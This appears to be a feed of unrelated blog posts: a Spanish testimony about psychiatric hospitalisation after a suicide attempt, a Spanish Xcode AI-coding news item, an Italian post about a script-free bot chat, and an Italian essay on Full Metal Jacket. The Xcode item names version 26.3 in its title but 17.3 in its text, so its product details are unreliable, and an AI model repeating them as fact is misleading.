Nuestro contacto con el exterior eran personas restringidas a las que podíamos llamar o que podían ir a visitarnos, pero que para ir debían sacar turno y ser aprobadas por mi equipo tratante, es decir, mi psicóloga y mi psiquiatra. El teléfono de línea tenía horarios limitados para recibir y hacer llamadas, y debíamos usarlo todas en ese horario.
Había dos sectores delimitados virtualmente, aunque eso no fue limitación para que ocasionalmente rompiéramos las reglas. En uno estaban las personas en observación. En el otro, las personas más estables. Cada sector tenía su propio office de enfermería y su propio teléfono. Pero además, el mismo teléfono era usado por las propias enfermeras para manejar asuntos relacionados con las pacientes: si nos llevaban ropa, elementos de higiene y demás.
Quienes venían a vernos, no podían subir a los sectores de las pacientes, sino que éramos nosotras quienes bajábamos a planta baja con una enfermera o un coordinador, y nos hacían pasar a una especie de patio en el que estábamos con la visita por el lapso de una hora aproximadamente, o a un consultorio si dicho patio estaba lleno.
Otro detalle: cualquier elemento que nos trajeran debía pasar la revisión de enfermería. Si se consideraba potencialmente peligroso para una misma o para terceras, no se habilitaba si no era necesario y era devuelto a la familia; y si era necesario, quedaba en enfermería cuando la paciente lo solicitara, pero con un uso limitado y vigilancia cada cierto tiempo para que no ocurriera nada grave. Ejemplo: una maquinita de depilar. Si en una hora no la devolvíamos, iban a ver cómo estábamos.
Terapia y tratamiento integral
No se trataba solo de darnos medicación. Teníamos horarios predefinidos para desayuno, almuerzo, merienda y cena. Teníamos un equipo tratante por cada una que consistía en un psicólogo o psicóloga y un o una psiquiatra que nos veían dos veces por semana. Un equipo de enfermeras, que iban alternando en guardias de ocho horas, con otras definidas para fines de semana y feriados.
Ah, quizás para varias personas resulte un detalle, pero claro está que los sectores estaban divididos por género. Las mujeres estábamos por un lado y los hombres por otro. No había contacto directo entre ambos, y no se suponía que lo hubiera. De hecho, los esporádicos contactos que hubo, fueron detectados por operadores, acompañantes terapéuticos, coordinadores y enfermeros.
Este grupo de contención, además, se encargaba de gestionar las cuatro bajadas al parque que teníamos por día. Para muchas era una razón para ir a fumar. Para quienes no fumábamos, charlar, escuchar música, tomar mate, o simplemente tomar sol y un poco de aire.
Entre las actividades predefinidas por el centro estaban: sesión de manicuría el sábado a la mañana a cargo de una de las operadoras, terapia grupal (con la que no me llevé muy bien con el moderador), asamblea de convivencia, que casi ni tuvimos porque el moderador estaba de licencia, arteterapia, musicoterapia (mis favoritas) y yoga y gimnasia, mis menos favoritas en ese orden XD. Yoga me gustaba, pero requería mucho trabajo físico al que no estaba acostumbrada. Igual gimnasia. El profe era muy exigente para mi gusto, pero estas son opiniones, no datos jajaj.
Musicoterapia fue la más interesante y la que más me permitía explayarme, en la que más salía a relucir mi creatividad y mi, quizás mi no tan bueno, pero sí suficiente talento para la música. Conocí y vi de primera mano instrumentos muy interesantes. Me gustaría encontrar actividades similares ahora que estoy afuera. Pero claro, eso con el paso del tiempo.
He de destacar a nivel personal también, que por mi condición de celiaquía me daban almuerzo y cena de Sintaxis, todo con postre incluido, por lo que la comida se transformó en un lujo, privilegio o derecho al que pocas veces tuve acceso, y por el que estoy muy agradecida. Claro que el postre estaba incluido en sí para todas. De hecho, a veces nos daban frutas en cualquiera de las cuatro comidas, lo que también era bueno. Excepto el mate, no había ninguna otra bebida permitida potencialmente perjudicial para la medicación y el tratamiento, como por ejemplo, las gaseosas y el café. Me parece lógico, pero no significa que no extrañara el segundo durante los primeros días. Por último en esta sección, la diferencia de horario entre la merienda y la cena nos resultaba a todas demasiado corta, pero las reglas eran así, y había que cumplirlas a rajatabla.
Nosotras y nosotres
No sé bien por dónde empezar a escribir esta parte. Hay tanto que decir que tengo cierto temor de omitir algo. Sin embargo, aún así decido intentarlo, ya que es para mí la parte principal de todo este artículo.
Una microsociedad sin acceso a internet
El hecho de que ninguna tuviese conexión con el mundo exterior ni acceso a redes sociales, fomentaba nuestra capacidad de buscar elementos que nos ayudaran a pasar el día. Me dejaron entrar un parlante Bluetooth chiquito con un cargador portátil y un pen drive USB, con el que pasaba los dos últimos discos de Rosalía de forma constante y hasta casi obsesiva. También nos hicimos fans de una radio de Jazz que está disponible en TuneIn también.
Jugábamos a las cartas con mis cartas en braille, jugaban al uno, al tutifruti, y hasta a la generala con unos dados de una compañera. Los juegos, el mate, y hasta las sesiones personales de maquillaje y peinado se compartían en pequeños pero significativos grupos que se iban formando. Claro está que en última instancia todas teníamos contacto entre sí, y aunque algunas mujeres con patologías más complejas para relacionarse tuviesen sus dificultades adicionales, esto no significaba que no hubiese alguna dispuesta a darle su apoyo de una forma u otra.
Nuestras propias terapias grupales
Estábamos allí cada una por patologías diferentes. Unas se iban, otras volvían, otras se quedaban. Pero había cosas en común que en la mayoría de los casos habíamos compartido: depresión, autolesiones, intentos de suicidio. ¿Qué feo hablar de eso, no? ¿Cómo hacés para hablarle sobre esos temas a una criatura de 18 años o a una señora de 70? Quizás no haga falta. Quizás quien tenga que entenderlo seas vos.
Porque no importaba la patología. Estábamos ahí porque no habíamos podido con nuestra realidad. Porque nos había sobrepasado. E intentar suicidarse no es querer morir. Es querer dejar de sufrir. Es al fin deshacerse de aquello que no podemos manejar sobre nuestro entorno, pero por sobre todas las cosas, sobre nosotras mismas. De ahí lo de las razones que expuse al principio.
A todas nos habían dicho las mismas cosas. Sin importar nuestra edad, nuestras experiencias de vida, nuestras patologías, nuestras realidades, nuestra condición social, o incluso en la sección especial de Narcóticos Anónimos que había, y que olvidé mencionar más arriba, se hablaba de esto también. La sociedad, como en muchos de los casos en los que me ha tocado presenciar por mis múltiples condiciones, primero discrimina, juzga, prejuzga, habla, opina, critica, acusa, minimiza y daña antes de empatizar, entender, escuchar, comprender, y si no se puede, abrazar y contener.
La mimoterapia era la más aplicada entre nosotras mismas. Cuando no sabés qué decir o qué hacer, a veces simplemente escuchar, abrazar, contener y quedarte callada, es mejor que cualquier palabra dicha. Contuve varias veces aunque no me correspondía. Me contuvieron varias veces aunque no les correspondía. Buscamos ayuda y la exigimos cuando la necesitábamos. Desafiamos a la autoridad, cuando detectábamos injusticias que sabíamos que con un poco de buena voluntad se podían solucionar. No siempre teníamos éxito. No siempre lográbamos lo que queríamos. Pero intentarlo y arriesgarse siempre es mejor que no hacer nada. Oscilábamos entre lo justo, lo injusto y lo correcto. Lo correcto no siempre me parecía justo. Sé que ya lo dije, pero esto fue algo que también tuve que aprender en esta terapia.
Ella es inocente aunque se demuestre lo contrario
Habría muchas hermosas personitas a las que debería mencionar. Hacerlo con solo dos me parece terriblemente injusto. Pero quiero que entiendan que si lo hiciera con todas, la gente no tendría ni ganas de leer esto. Así que vamos con la primera: tiene 18 añitos. No sé el porqué. Va, en realidad sí. La otra personita especial y mi psicóloga tratante me lo dijeron. Fue por mi sobre empatía. La idea de querer ayudar a todo el mundo sin importar si me estaba ayudando a mí misma con eso o no.
Ella tenía su equipo, su mamá, a su familia, y otras compañeras con las que contar. Pero la adopté como hijita postiza. Su patología era compleja y casi que desconocida para mí. No sabía muy bien qué estaba haciendo cuando empecé a protegerla de todo mal, y luego de todo bien XD, pero lo hice. Una de las cosas que tuve que entender es: “Kathy, no podés controlarlo todo”. Sin embargo, la escuché. Escuché lo que le pasaba, lo que necesitaba, y la ayudé como pude, haciendo conscientes a las demás de qué debíamos hacer para acompañarla.
Poco a poco empezó a mimetizarse conmigo, y no estando ya mi “Smithers” porque le habían dado el alta, pude entregarme a mi crapulencia.
Vamos, que no hice demasiado che. Además de quererla mucho, brindarle mi apoyo, mi contención, defenderla de cualquier cosa de la que se le acusara aunque sea verdad, creerle casi todas sus mentiras, hacer caso a su vocecita de niña inocente cuando las demás me decían que decía cosas horribles y palabrotas, y fomentar sus comentarios insidiosos y maliciosos sobre otras personas. ¿Qué tiene de malo todo eso realmente?
Lo cierto es que ella era inocente aunque se demuestre lo contrario. Y es que, al principio me resultaba una niña aparentemente ingenua a la que temía que se la pueda manipular. Poco a poco fue aprendiendo a que podía ella misma no dejar que manipulen a las que llegaron después. Y resultó mucho más inteligente y capaz de comprender al resto de lo que yo pensaba. Eso me pasa por querer prejuzgar y querer controlar todo. Mal hecho, Kathy. Sin embargo, sos una excelentísima personita, una de las grandes amigas que me traje conmigo junto con muchas otras. Te quiero muchísimo. Y espero que estés muchísimo mejor en el nuevo lugar en el que van a poder tratar ahora sí de forma correcta tu patología.
Hermanas de otras vidas
No sé por qué yo, no sé por qué ella, no sé por qué nosotras. Pero así sucedió. Más allá de todo lo que dije de la espiritualidad, las creencias actuales y toda esa parafernalia consumista y adaptada al supuesto bienestar personal, lo cierto es que aún hoy en día hay cosas a las que no les encuentro explicación lógica. Y quizás sea mejor así. “No todo lo que puede ser cuantificado cuenta, ni todo lo que cuenta puede ser cuantificado”. También dicen que “hay razones que la propia razón nunca entenderá”.
¿Cómo dos ñoñas tan parecidas y distintas entre sí se encontraron en el mismo lugar? No lo sé. Pero hubo tres cosas que nos unieron: el lugar, nuestro TDAH, y la última que decidimos no mencionar por nuestro pacto de hermanas. Logré conectar de forma impresionante con ella. Y le pasó lo mismo conmigo. Entró dos días después que yo y salió una semana antes. Sin embargo, ese tiempo juntas fue quizás uno de los más significativos de nuestras vidas.
Cuando nos poníamos a hablar de ñoñeces el resto se alejaba. Descubrí que soy una ñoña con todas las letras, que soy muy inteligente, y que muchas veces puedo resultar pedante. A veces tener una respuesta para todo no tiene sentido sin argumentos sólidos que la sostengan.
Me contuvo cuando lo necesité, la contuve cuando lo necesitó. Era la “Smithers” que no me dejaba robarle un dulce a una niña. Era la que me ponía límites cuando hacía chistes que, por lógica, nadie debería hacer en un hospital psiquiátrico, a menos que quisiera quedarse más tiempo. Era la que me decía “Katherine” cuando debía pararme el carro. Completábamos crucigramas a la velocidad de la luz.
Me estaba leyendo un libro muy hermoso sobre un personaje político que, más que un presidente, fue un militante de la vida. Libro que no pienso terminar sin que ella me lo lea. No, no. No intenten imaginar quién es dicho personaje. No es lo importante. Rompimos todas las reglas habidas y por haber. Me leía libros en mi habitación, yo iba a ver Los Simpson en la suya los sábados, y nos regalamos tesoros que valen mucho más que cualquier palabra dicha.
Nos regalamos la realidad de mostrarle a otra persona tal cual somos. Sin mentiras, con honestidad, con empatía, con respeto mutuo. Sabiendo que nada de lo que dijera una, haría enojar a la otra. Nos regalamos el arte de conocernos. La magia de estar ahí. En ese tiempo, en ese lugar. Y mientras nos preguntábamos: “¿Cuánto tiempo más llevará?”, disfrutábamos de cada momento juntas.
No, no. No se confundan. Ella no es como con otras personas especiales. No quiero ser su novia, ni me gusta de tal manera. Pero el amor que llegamos a tenernos en tan poco tiempo, trasciende las fronteras de lo que jamás había esperado que sucediera.
Y esto va para vos especialmente: no voy a negar que lloré cuando te fuiste. A pesar de lo feliz que estaba. Era como una felicidad triste, si tal cosa existe, ya que estaba segura de que era lo mejor para vos, y que íbamos a vernos afuera de todos modos. Pero lloré. Lloré como pocas veces he llorado cuando alguien se aparta de mi vida aunque sea por un tiempo tan corto.
Sí, sí. Las obsesiones y el apego emocional no son del todo buenos. Es decir, como me dijo alguien una vez, hay apegos buenos y apegos malos. Pero si hay algo que aprendí, es que puedo tener un apego bueno con vos, sin que ambas nos atosiguemos entre sí. ¿Por qué? Bueno, resulta más fácil cuando no tocás mucho esa cosa conocida como celular. No le doy mucha pelota y lo bueno es que va a seguir siendo así. Acostumbrarse un mes a estar sin eso, me dio la seguridad para entender que no necesito ni tenerlo todos los días en la mano, ni tenerlo a cada rato siquiera. Poco a poco iré activando algunas cosas, pero otras quedarán desactivadas para siempre.
Por supuesto, eso nada tiene que ver con nosotras. Te lo cuento porque es algo que hablamos y que pienso sostener por mi parte. Anotaré los números de las chicas que me los escribieron en braille con la impresora manual braille que compré por Mercado Libre. Y bueno, ya que estamos, les dejo un muy buen cargador portátil que le recomiendo a todo el mundo y con el cual, la batería del parlantito Bluetooth, me duraba cinco días. Mentira. Era tener el cargador conectado constantemente para que eso ocurriera. Pero al fin y al cabo, el cargador es lo importante XD.
No, no. No te confundas. No estoy haciendo publicidad pagada. Y perdón por incluir esto en una sección que iba exclusivamente para vos. Es que me parecieron productos tan útiles y necesarios, que no pude resistir el impulso de compartirlos. En fin, nuestra despedida ese día que faltamos a gimnasia fue de las charlas más inteligentes e interesantes que tuve con persona alguna.
Te extraño. Sí. Te extraño. Pero también me di cuenta después de que te fuiste, cuánto me extrañaba a mí también. Y quiero seguir sosteniendo eso unos días más. Y es que, volviendo a mí, mucho ha cambiado allí desde que fuimos separadas. Lo cierto es que la sociedad deprime, y el mal no se redime sin cariño, y que si no es por esas personas que acercan su alegría, sería más amargo todavía. Quizás volver a la naturaleza, o al menos a lo analógico, sería nuestra mejor riqueza. Allí podemos querernos y amarnos libremente, y ya no habrá ningún zoológico de gente. Si acaso, un jardín de gente que haya sido cultivado y regado con amor. O quizás, y solo quizás, de alguna forma por pequeñita que sea, podríamos hacerlo nosotras.
Te quiero muchísimo. Hasta prontito, Kathy — Katherine.
Conclusiones finales
No sé si escribí todo lo que quería, o si terminó siendo más de lo que debería. No sé cuánta gente va a leer esto hasta el final, y realmente no me importa. Con que una sola persona entienda de forma favorable lo que intenté explicar en este enorme post, estaré satisfecha. No escribo para hacerme famosa. No escribo para llegar a las grandes ligas, ni para ser influencer ni nada que se le parezca. Sí es cierto que promuevo mis proyectos y aplicaciones en cuanto puedo, pero también lo es que además de traerme algún beneficio propio, la idea es que sea de utilidad para el resto.
Habiendo dicho esto, vamos a continuar con este principio del fin.
Mimoterapia
Sí. Las mencioné a ellas dos. Pero no por ello las demás deberían sentirse ofendidas. Por favor, se los pido. No es más que una elección que me vi obligada a hacer debido a las circunstancias que rodean hoy en día este tipo de contenido en texto. Pero quiero que sepan que las quiero mucho también. Que algunas llegaron a ser no solo grandes compañeras, sino grandes amigas. Personitas maravillosas con las que quiero juntarme afuera para charlar de la vida, tomar un par de mates y reírnos de cuando estuvimos internadas en un hospital psiquiátrico todas juntas. Ah, y no se olviden de ir a comer a Sintaxis, ¿eh?
A las que se fueron antes, quiero contarles que seguimos manteniendo la cadena de incluir y dar la bienvenida a las nuevas. Que les damos su lugar, charlamos y vemos los puntos en común para generar espacios y hábitos agradables para compartir. Charlar de cualquier cosa con mates de por medio y jugar a algún juego, ya es una constante entre todas, y lo seguirá siendo, así que por eso no se preocupen. La tradición se mantiene viva e intacta como nuestras predecesoras la instauraron.
Aprendizajes
No puedo controlarlo todo. No puedo sentirme culpable por cosas que escapan a mi control. A veces lo justo o lo injusto, pueden ser lo correcto. Y a veces no. Debo poner límites. Debo ponerme a mí por encima de cualquier otra persona. Porque como lógica existencialista, si no me cuido a mí, si yo no estoy bien conmigo misma, o al menos aceptablemente, como ahora, no puedo cuidar a nadie más. Ni siquiera a mi gatita Kata, quien se bancó estoicamente un mes sin mí. Actualización: al momento de publicar este artículo, la susodicha ya aplicó su venganza exitosamente. Fue muy inteligente y esperó a que solo estuviésemos las 2 para realizar su malévolo plan. Admiro con gran interés, la enorme paciencia que tuvo, esperando el momento justo para hacer de las suyas. Pero mejor sigo con lo que venía diciendo.
No debo ser tan impulsiva. A veces la respuesta inmediata no es la correcta. Tengo que hablar además de escuchar. En ciertas ocasiones, no dejo que otras personas metan bocado. Soy muy inteligente, sí. Pero eso no me hace mejor ni peor que nadie. Se puede aprender de cualquier persona, desde un niño pequeño hasta de una persona de cien años o más. Lo importante no es la edad, sino lo que la otra persona pueda aportar a tu vida, siempre y cuando sea con respeto y escuchándote a su vez, como ya dije.
No es mi culpa si no sé cómo ayudar a alguien. No es mi culpa, ni la tuya, si no supiste o no pudiste ayudarme. No es nuestra culpa si decidimos alejarnos porque no podíamos llegar a un acuerdo. Y esto es muy importante: no es nuestra culpa si no podemos o no supimos cómo ayudar a una persona con depresión, autolesiones o incluso intentos de suicidio, o suicidios directamente. No lo es. No hay nada que podamos hacer. Porque hay herramientas y recursos que por más que lo intentemos, no tenemos.
La primera ayuda tiene que venir de una misma. Si yo hubiese entrado a la internación con una actitud negativa sobre la misma, me hubiese resultado mucho más difícil salir. Pero entré por mi propia voluntad. Entré y me quedé no solo porque salir o escapar me sería perjudicial, sino además porque era la única salida. Porque fue el primer pensamiento que me vino a la cabeza cuando estaba a punto de terminar con mi propia vida. Entré porque sabía que necesitaba ayuda que por fuera no podía obtener.
No sabía hasta entonces en qué consistía esa ayuda realmente. Pero era mi último caballo de batalla. El último bastión de resistencia que se me presentó antes de rendirme definitivamente. Y lo aproveché. Y me sirvió. No sé si soy o no una mejor persona. Pero sí sé al menos, que desde ahora, intentaré serlo primero conmigo. Y luego con los demás.
Si llegaste hasta acá
La frase del título quizás se sobreentiende a estas alturas. Pero significa básicamente que esperamos no volver a vernos ninguna de nosotras, ni los profesionales a nosotras, en ese lugar de nuevo. Significaría que no volvimos a tener una recaída o una crisis tan fuerte como para volver. Que el tratamiento funcionó para ayudarnos a manejar mejor, a partir de ahora, los factores que nos llevaron allí en primera instancia.
También he de destacar que decidí no nombrar a personas directamente para cuidar su privacidad. Y por esa misma razón habrá referencias que solo yo y esas personas entendamos. Lo siento. Esta es una carta para todos, pero en especial para ellas y para mí.
Gracias
Muchas gracias por leer hasta el final. No solo es muy valioso para mí, sino que te invito a compartirlo para que sea de ayuda y aprendizaje también para otros. No tengo todas las respuestas. Es más, a veces se me presentan aún más preguntas. Pero sí puedo contar lo que viví y lo que aprendí. Y sí puede resultarle quizás informativo a alguien que esté pasando por lo mismo, o a alguien que tenga algún familiar en dichas situaciones y no sepa cómo manejarlo.
Mis agradecimientos a mi mamá, a mi prima, a mi familia en general que no dejaron de preocuparse ni un momento, a mi hija mayor que se “ocupó de la casa” (las comillas son chiste XD), a todas las personas cercanas que estuvieron desde el principio, a mis amigos, al equipo de profesionales del centro en su totalidad, a mis amigas que me llevo y a mis compañeras con las que quizás no tuve tanta afinidad, a mi criaturita menor por el hermoso termo que me dibujó para el mate, a Kata, a los dos gatos que daban vueltas por el centro, a la rata que asustó a mi ami-hermana y que consiguió que esta luego bajara al parque y buscara una ramita para ahuyentarla si el pobre roedor volvía a aparecer 🤣, a mi psicóloga, a mi psiquiatra, a quien no le sirve porque “siempre miente más que habla”, y a todas, pero todas las personitas que formaron parte de esta extraña aventura.
Se las quiere, se las aprecia, se les tiene cierto afecto o cariño, o “nuestra relación será distante cuanto mucho”. A los que entendieron todas las referencias, a los que no entendieron ninguna, a los que están de acuerdo, a los que no, a los que quieren contradecirme en todo, a los que no, a los grandes desastres mundiales (Perlas), a Jesús, a Alá, a Buda, los amo a todos. Ah, pero más amo a Rosalía. Y si por alguna casualidad llega a leer esto, quiero casarme con vos. No, no es una obsesión, y no estoy loca. Em, bueno… la verdad es que…
¡Adiós soperútanos!
#acompañamiento #depresión #desconexiónDigital #empatía #experienciaPersonal #hospitalPsiquiátrico #InteligenciaArtificial #intentoDeSuicidio #internaciónPsiquiátrica #neurodivergencia #prevenciónDelSuicidio #redesSociales #SaludMental #saludMentalEnArgentina #suicidio #TDAH #terapia #Testimonio #tratamientoIntegral #vínculosHumanos - Introducción
-
Xcode 26.3 libera el poder de la codificación agentica
Apple ha presentado oficialmente Xcode 17.3, una actualización que marca un antes y un después para los desarrolladores del ecosistema Apple. La gran novedad es la introducción del «Agentic Coding», un sistema de inteligencia artificial capaz de actuar como un agente autónomo para escribir código, depurar errores complejos y optimizar aplicaciones sin intervención humana constante (Fuente Apple).
La inteligencia artificial en el desarrollo de software ha dado un salto gigante. Con Xcode 17.3, Apple deja atrás el simple autocompletado para dar paso a Swift Assist Agents. Estos agentes no solo sugieren líneas de código, sino que comprenden la arquitectura completa de un proyecto. Un desarrollador ahora puede dar una instrucción de alto nivel, como «Implementa un sistema de autenticación biométrica con soporte para compartir datos en iCloud», y el agente se encargará de crear los archivos, escribir la lógica, gestionar los permisos y realizar las pruebas unitarias correspondientes.
Una de las funciones más potentes de esta versión es la Autodepuración Agente. A diferencia de los depuradores tradicionales que solo señalan el error, el nuevo sistema analiza las trazas de fallos en tiempo real, propone múltiples soluciones y puede aplicar la corrección más eficiente de forma automática si el desarrollador así lo autoriza. Según Apple, esto puede reducir el tiempo de resolución de bugs críticos en un 60%, permitiendo a los creadores centrarse en la parte creativa y el diseño de experiencia de usuario.
Además del enfoque en la IA, Xcode 17.3 incluye:
- Optimizaciones para el chip M5: El compilador ha sido rediseñado para aprovechar los nuevos núcleos de IA de la próxima generación de silicio de Apple.
- Simuladores Hiperrealistas: Nuevas herramientas para probar aplicaciones de Vision Pro con entornos dinámicos que simulan condiciones de iluminación y oclusión del mundo real de forma ultra precisa.
- Predictive Asset Management: El sistema puede generar automáticamente variaciones de iconos y recursos visuales para todos los tamaños de pantalla y modos (claro/oscuro) basándose en un solo diseño maestro.
«Xcode 17.3 no es solo una herramienta, es un compañero de equipo», declaró Susan Prescott, vicepresidenta de Relaciones con Desarrolladores de Apple. La actualización ya está disponible de forma gratuita en la Mac App Store para todos los desarrolladores registrados. Con este movimiento, Apple busca mantener su ventaja competitiva, ofreciendo a los programadores la tecnología de IA más avanzada integrada directamente en su flujo de trabajo nativo.
#APPLE #arielmcorg #DesarrolloDeSoftware #infosertec #InteligenciaArtificial #ios #mac #PORTADA #Programación #SWIFT #VisionPro #Xcode -
Damn. Pensavo di postare questo prima, ma mi seccava fare tantissimo rumore per un obiettivo al di sotto del mio ideale inizialmente prefissato, quindi… ho dovuto programmare per qualche ora in più. Beh, dopo altri 2 giorni di lavoro a tempo più che pieno, ma retribuzione monetaria pari allo zero spaccato, la versione #web di #WinDog è già molto più del proof-of-concept del mese scorso… 😌
Ora ha una UI decente (al buono ci arriveremo con calma) e un backend arronzato meno, che permette di aprire stanze di chat col bot anche ad URL personalizzati, e… da diversi client insieme; vale a dire che praticamente ho, senza volerlo, implementato una chat vera a propria, anche tra utenti web diversi. In effetti volevo semplicemente rendere “riciclabili” le stanze, per preparare il server a future migliorie, ma nel farlo è uscita fuori una problematica tale che mi è quindi convenuto fare come ho fatto. Quindi, ogni client riceve un colore a caso, e un username generato dall’hash di alcuni header HTTP, e boh buffo chat anonima kek. 🤪 (Non abusatene…)
La persistenza dei messaggi la implementerò più avanti, così come utenti non-anonimi, account, o stanze private/riservate… per ora appunto è tutto pubblico, ma generato casualmente; aprendo la root del sito viene creata una nuova stanza con un UUID sicuro, e aprendo qualunque stanza viene istanziato un utente con un altro UUID (che è segreto, non è l’username). Stanza di esempio, magari se la aprite tutti insieme beccate me o qualcun altro, idk: windog.octt.eu.org/fritto-misto-019143d9bf9b7337adca0cbf2fe2efb9. 😈Questa è una delle più potenti manifestazioni della mia #magia… Il fatto che la codebase di questo coso sia vecchia di almeno 3 anni, e che ciò che prima era un banale #bot Telegram ora è un multiforme multipiattaforma, ad un livello che altri bot in giro non ne ho visti, è già tanto, ma… questa interfaccia in particolare, che gira nel browser, ancora senza alcuno script client-side (sans-JS), è proprio lo scopo della mia esistenza, la più valorosa e autogratificante espressione dei miei poteri di puella magica!!! (Sono davvero stranamente felice.) A dire il vero, eh, oggi del JS l’ho aggiunto, ma giusto per far comportare meglio la casella di testo, sfruttando la logica del miglioramento progressivo: chi ha JavaScript funzionante nel browser avrà la textbox che si allarga e si restringe in automatico con la scrittura, e potrà inviare il messaggio facendo Ctrl+Enter, ma la #chat funge lo stesso senza. 🕷️
Comunque… che voi siate veri fan di HTML5, o che invece senza JavaScript non riusciste a combinare un accidente (maledetti #webdev moderni), concordete che è assurdo come io abbia potuto usare una #hack basata su una funzione di #HTTP e dei browser risalente al millennio scorso (!!!) per creare una live chat che funziona in #HTML puro, con addirittura meno lag di Telegram o qualsiasi cosa… Però poi bisogna cringiare per una casella di testo multilinea come si deve… E, ancora, non c’è modo di far scrollare in automatico in basso man mano che ci sono nuovi messaggi (per ovviare a quello si nota come ho scelto il male di UX minore, cioè invertire l’ordine della chat, per ora). Almeno, però, commettendo abusi sugli iFrame, due (2) problemi li ho risolti: mostrare un messaggio di errore in caso di caduta della connessione, e non far apparire la finestra come continuamente in caricamento… 🙏
Share this page from your fediverse server https:// ShareThis server does not support sharing. Please visit .
https://octospacc.altervista.org/2024/08/12/wincane-con-il-web-reale/
#HTML #bot #web #HTTP #webdev #chat #hack #WinDog #magia #sansJs
-
La Guerra secondo Kubrick (parte 6 di 8)
FULL METAL JACKET: LA “MECCANIZZAZIONE” DELL’UOMO
Due anni dopo la realizzazione di Shining, del 1980, l’attenzione di Stanley Kubrick ricade sul racconto The Short Timers di Gustav Hasford, in cui alcuni giovani marines vengono addestrati in un campo di addestramento per poi essere mandati in Vietnam a combattere. Affascinato dai vari risvolti della storia («Quando ho letto il libro ho trovato irresistibili l’originalità, la bellezza dello stile, la semplicità», ha detto il regista), Kubrick acquistò i diritti del libro, cominciando così a lavorare alla sceneggiatura di Full Metal Jacket, uscito nel 1987. Michael Herr, co-sceneggiatore del film, ricorda lo scambio di battute tra lui e Kubrick alla “nascita” di Full Metal Jacket; il regista disse di voler fare un film di guerra, Herr gli fece notare che aveva già fatto Orizzonti di gloria, al che Kubrick rispose: «Quello è contro la guerra. Voglio fare un film di guerra solo per considerarne il soggetto, senza una posizione morale o politica, ma come fenomeno».Il termine “full metal jacket” (letteralmente “copertura piena di piombo”), che non compare in nessuna parte del racconto, descrive il rivestimento di un tipo di proiettile e in un certo senso richiama alla metaforica corazza di metallo (come quella degli automi) nella quale venivano avvolti i marines per essere trasformati in killer.
L’intenzione del regista, attraverso questo film, è di inserire alcuni temi già affrontati nelle sue opere precedenti in un contesto bellico moderno, come quello vietnamita: «Il Vietnam è stata probabilmente l’unica guerra dominata dai falchi intellettuali che manipolavano i fatti e perfezionavano la realtà, ingannando sia loro stessi che il pubblico».
Ma il tema che più di altri Kubrick intende affrontare con Full Metal Jacket è quello della “meccanizzazione” dell’uomo, ovvero del rendere automatico un qualcosa di naturale, un tema nel quale il regista si era addentrato esplicitamente, già dal titolo, in Arancia meccanica, nel 1971.
Le vicende di Full Metal Jacket si svolgono in due segmenti ben delineati: l’addestramento a Parris Island e il Vietnam. La scena d’apertura del film mostra un gruppo di ragazzi a cui stanno radendo a zero le teste: ci troviamo nel campo d’addestramento di Parris Island; il sergente istruttore Hartman si presenta ad un gruppo di reclute, destinate a diventare marines, “macchine da guerra”. Il linguaggio dell’istruttore è offensivo e osceno; egli mostra immediatamente tutta la sua severità nei confronti di chi non si è ancora inquadrato nella disciplina imposta dalla procedura militare. In questa fase iniziale di presentazione emergono i personaggi di Joker, un giovane dall’aria intellettuale e scherzosa, di Cowboy e in particolare di Palla di Lardo, un ragazzo goffo e imbranato, sul quale Hartman riversa tutta la sua crudele offensività. Le scene che seguono mostrano il training al quale vengono sottoposte le varie reclute, dove agli esercizi fisici si alternano fasi in cui l’istruttore cerca di plagiare le menti dei futuri soldati mediante riti collettivi inneggianti alla guerra e alle armi. Joker, nonostante i continui rimproveri subiti, diventa caposquadra, mentre Palla di Lardo, messo continuamente alla berlina, viene emarginato dai suoi stessi compagni di camerata, costretti da Hartman a pagare per ogni errore del loro compagno. Una notte il ragazzo subisce un pestaggio da parte di tutti gli altri soldati, Joker compreso (anche se inizialmente esitante); nei giorni seguenti Palla di Lardo mostra segni di instabilità, la sua “trasformazione” in macchina da guerra è quasi completa, per la soddisfazione del suo istruttore. L’ultima notte a Parris Island è però tragica: Palla di Lardo è sorpreso da Joker nel bagno mentre sta caricando il suo fucile con pallottole «blindatissime» (“full metal jacket” appunto); all’arrivo di Hartman il giovane gli spara e poi si uccide.
Una dissolvenza ci porta nel Vietnam; Joker è corrispondente di guerra per il giornale dell’esercito «Stars and Stripes». Durante l’offensiva del Tet, nella quale i vietcong attaccano l’esercito statunitense, Joker viene mandato al fronte a fare un reportage con il suo amico Rafterman. Qui ritrova il compagno di corso Cowboy e si unisce alla sua squadra; il gruppo riesce a liberare una città con poca difficoltà, l’entusiasmo aumenta con l’arrivo degli inviati televisivi che intervistano i vari marines. I soldati partono per una nuova missione verso la città di Hue, ma perdono l’orientamento e si ritrovano sotto il tiro di un cecchino, che uccide due di loro e in seguito lo stesso Cowboy. I rimanenti soldati individuano la posizione del cecchino e lo sorprendono alle spalle: si tratta di una giovane ragazza, alla quale Joker prova a sparare, non riuscendo poiché gli si inceppa il fucile. Mentre sta per essere ucciso, Rafterman giunge a salvarlo, sparando al cecchino; la ragazza è agonizzante, circondata dai soldati: Joker pone fine alle sofferenze della giovane, uccidendola. Il gruppo si allontana nella notte intonando il ritornello di Mickey Mouse.
Il tema kubrickiano che vediamo immediatamente riemergere in Full Metal Jacket è quello che mostra il sistema e la struttura dell’istituzione militare: «l’esercito affiora come struttura rigida e asettica, impersonale, funzionale; (…) una struttura violenta, costruzione ossessivamente minuziosa finalizzata alla distruzione e psicologicamente distruttrice e autodistruttrice di se stessa». Il fine dell’esercito si concentra quindi nella distruzione della personalità umana, con l’obiettivo di possedere il controllo assoluto sull’individuo, attraverso la sua “meccanizzazione”. Lo stesso Hartman, presentandosi alle reclute, sottolinea questo passaggio fondamentale da essere naturale a essere meccanico: «Se voi signorine finirete questo corso e se sopravviverete all’addestramento, sarete un’arma, sarete dispensatori di morte, pregherete per combattere». Ma trasformare uomini in armi è possibile? Secondo Stanley Kubrick la risposta è affermativa: «Sì, trasformare esseri umani in armi è possibile. Come dice il sergente nel mio film: “Un’arma è solo un utensile, è il cuore duro che uccide”» (nella versione italiana del film è in realtà tradotto: «Il vostro fucile è solo uno strumento, è il cuore di pietra quello che uccide»). Il duro training al quale si sottopongono i soldati è finalizzato a distruggere la paura della morte e per distruggere questa è necessario distruggere la personalità: già nella primissima scena tale distruzione è inscritta nelle immagini dei giovani dal barbiere, dove vengono tutti quanti rasati a zero, primo elemento del processo di meccanizzazione ad accomunare i ragazzi, ognuno reso una sorta di “clone” dell’altro; in questa scena vediamo il barbiere militare “operare” sulle loro teste, quasi a presagire quel lavaggio del cervello al quale verranno sottoposti in seguito. 